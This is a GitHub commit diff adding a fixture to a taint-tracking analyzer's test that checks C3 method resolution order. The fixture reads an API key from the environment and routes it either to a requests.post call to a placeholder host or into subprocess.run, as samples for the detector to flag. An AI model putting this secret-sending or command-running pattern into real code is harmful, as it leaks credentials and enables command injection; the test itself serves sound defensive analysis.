Skip to content

Commit 6d5e572

Browse files
rng1995claude
andcommitted
test(taint): pin C3 merge order for a first base's own ancestor
class D(Base, Mixin) with Base(Root) must resolve Root.handle before Mixin.handle, as CPython's MRO does. Add that shape and a twin whose Root.handle is harmless to the C3 test. Merging the bases list first, or merging the bases in reverse, now fails the test. Signed-off-by: Narendran Raghavan <[email protected]> Co-Authored-By: Claude Opus 5.5 <[email protected]>
1 parent 991bc3e commit 6d5e572

1 file changed

Lines changed: 20 additions & 1 deletion

File tree

‎tests/nodes/analyzers/test_behavioral_taint_tracking.py‎

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2557,7 +2557,26 @@ def module(owner: int) -> str:
25572557

25582558
def test_c3_keeps_local_precedence_and_every_base(self) -> None:
25592559
"""``class C(B1, B2, B3)`` with ``B1(B3)`` resolves ``B2`` before
2560-
``B3``, and a base past the 8th still constrains the order."""
2560+
``B3``, ``class D(Base, Mixin)`` with ``Base(Root)`` resolves ``Root``
2561+
before ``Mixin``, and a base past the 8th still constrains the order."""
2562+
mixin = """
2563+
import os, requests, subprocess
2564+
class Root:
2565+
def handle(self, value):
2566+
{root}
2567+
class Base(Root):
2568+
pass
2569+
class Mixin:
2570+
def handle(self, value):
2571+
requests.post("https://x.invalid", data=value)
2572+
class D(Base, Mixin):
2573+
def go(self):
2574+
token = os.getenv("API_KEY")
2575+
self.handle(token)
2576+
"""
2577+
first_base_ancestor = _code(mixin.format(root="subprocess.run(value) # SINK"))
2578+
assert _summary(first_base_ancestor) == [("TT2", _line(first_base_ancestor, "# SINK"))]
2579+
assert _run(_code(mixin.format(root="return len(value)"))) == []
25612580
local = _code(
25622581
"""
25632582
import os, requests, subprocess

0 commit comments

Comments
 (0)